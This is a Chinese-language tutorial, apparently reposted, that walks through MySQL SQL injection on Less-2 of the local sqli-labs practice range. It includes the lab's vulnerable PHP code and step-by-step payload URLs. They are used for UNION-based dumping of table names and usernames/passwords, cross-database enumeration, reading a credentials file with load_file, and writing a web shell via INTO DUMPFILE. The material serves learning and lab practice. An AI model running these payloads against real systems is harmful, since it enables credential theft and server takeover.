MySQL數據庫sql注入之數據獲取、跨庫注入以及文件讀寫(以sqli-labs環境演示)


MySQL注入思路

環境

sqli-labs靶場是一個sql注入的練習靶場,里面有各種各樣的sql注入環境,本文章將以sqli-labs第二關(less2)為例演示sql注入的步驟,安裝步驟讀者可自行在網上搜索,在此不贅述。

MySQL數據庫預備知識

MySQL數據庫5.0以后的版本特性

MySQL數據庫在5.0版本以前是沒有自帶的information_schema數據庫的,因此在對5.0以前的MySQL數據庫進行注入時,需要猜解數據庫名、表名、列名才能得到想要的數據信息;但是在5.0及以后的版本中,是存在information_schema數據庫的,在此數據庫中,存放了所有數據庫中存在的數據庫名、表名和列名的數據,因此,了解information_schema數據庫的結構對我們進行MySQL注入有很大的幫助。

# information_schema數據庫中存放所有表的表名
TABLES

# information_schema數據庫中存放所有列的表名
COLUMNS

# information_schema.tables/columns表中存放所有數據庫名的列名
TABLE_SCHEMA

# information_schema.tables/columns表中存放所有表名的列名
TABLE_NAME

# information_schema.tables/columns表中存放所有字段名的列名
COLUMN_TNAME

MySQL數據庫常用的函數

信息收集對我們在進行sql注入中起到了很大幫助,以下是MySQL數據庫自帶的一些函數,可以對我們注入起到很大的幫助:

  • version():數據庫的版本(注意5.0版本前后的區別)
  • user():當前操作數據庫的用戶
  • database():當前數據庫名
  • @@version_compile_os:服務器的操作系統

以數據獲取為目的的注入

第一步:注入點判斷

來到我們的靶場環境,進入less-2關,當id=1時,查詢的是Dumd的賬號和密碼;當id=2時,查詢的是Angelina的賬號和密碼:


白盒

我們來到本地的sqli-labs目錄下查看less-2的源代碼:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

分析代碼:

  • 通過參數id值來拼接sql語句,並且不存在任何安全措施
  • 查詢語句為:SELECT * FROM users WHERE id=$id LIMIT 0,1

黑盒

http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=1 頁面正常顯示
http://localhost/sqli-labs/Less-2/index.php?id=1 and 1=2 頁面顯示錯誤

思考:利用這種方法來判斷是否存在注入已經很久了,判斷注入的原理就是“字符拼接”,那么當我們輸入一些任意字符讓sql語句不能正常執行,就可以用來判斷是否存在sql注入

第二步:有多少列

利用order by語句來判斷當前數據表有多少列:

http://localhost/sqli-labs/Less-2/index.php?id=1 order by 3,3正常4報錯,那么當前表有3列

第三步:信息收集

判斷MySQL數據庫版本(5.0前后)以及判斷那列回顯了(注意讓union前面的查詢語句為false,不然顯示的就是前面查詢的內容):
http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,2,3

可以看到2列和3列在頁面是顯示出來的,那么我們可以在2列和3列帶出來我們想要的東西:

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,version(),database()

數據庫版本為5.5.53(存在information_schema數據庫),當前數據庫名為security

第四步:查表

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,table_name,database() from information_schema.tables where table_schema='security'

只查出來了一個emails,思考:是否存在limit限制?(實際上是的),使用group_concat函數帶出來更多數據:

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema='security'

第五步:查列

找到可能存放想要信息的表進行查詢:

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,group_concat(column_name),database() from information_schema.columns where table_name='users'

第六步:查字段

http://localhost/sqli-labs/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users

跨庫注入

第一步:信息收集

使用user()函數,發現我們的權限是root,那么我們可以嘗試跨庫進行注入(注意:跨庫注入需要一個前提條件,我們需要是root用戶):

第二步:獲取數據庫名

使用information_schema數據庫中自帶的表schemata查詢所有的數據庫名:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),user() from information_schema.schemata

可以看到我們其他的數據庫,此處以pikachu數據庫為例進行演示

第三步:查表

接下來就跟數據獲取部分的注入流程差不多了:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema='pikachu'

第四步:查列

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='users'

我們發現有兩個id、username、password,那是因為我們的查詢語法把當前的數據庫(security數據庫)的這三個列給帶出來了,我們使用下面語句進行查詢即可:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='users' and table_schema='pikachu%'

第五步:查數據

去解密網站對密碼進行解密即可:

MySQL文件讀寫

介紹

文件讀取操作是MySQL數據庫特有的操作

第一步:信息收集

whoami?

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,user()

注意:在對進行文件讀寫操作時,需要看secure_file_priv值是否為NULL,如果為NULL,需要對my.ini文件下添加secure_file_priv=並重啟mysql服務,secure_file_priv為NULL的情況下是不允許對數據庫進行讀寫操作的

show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| c | NULL  |
+------------------+-------+
1 row in set (0.00 sec)

修改配置文件並重啟mysql:

show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)

第二步:讀文件(load_file函數)

讀取sqli-labs的數據庫配置文件:

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D:\phpStudy\WWW\sqli-labs\sql-connections\db-creds.inc')

注意在頁面上是無法直接查看的,需要我們查看網站源代碼:

view-source:http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,load_file('D:\phpStudy\WWW\sqli-labs\sql-connections\db-creds.inc')

第三步:寫shell

http://localhost/sqli-labs/Less-2/?id=-1 union select 1,2,'' into dumpfile 'C://Users//ShleyCpt//Desktop//shell.php' --+

注意:需要使用--+把后面的sql語句給注釋掉,查閱sqli-labs源代碼會發現,后面有limit語句

成功執行后,會發現在桌面生成了一個php文件,使用webshell管理工具連接即可:

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM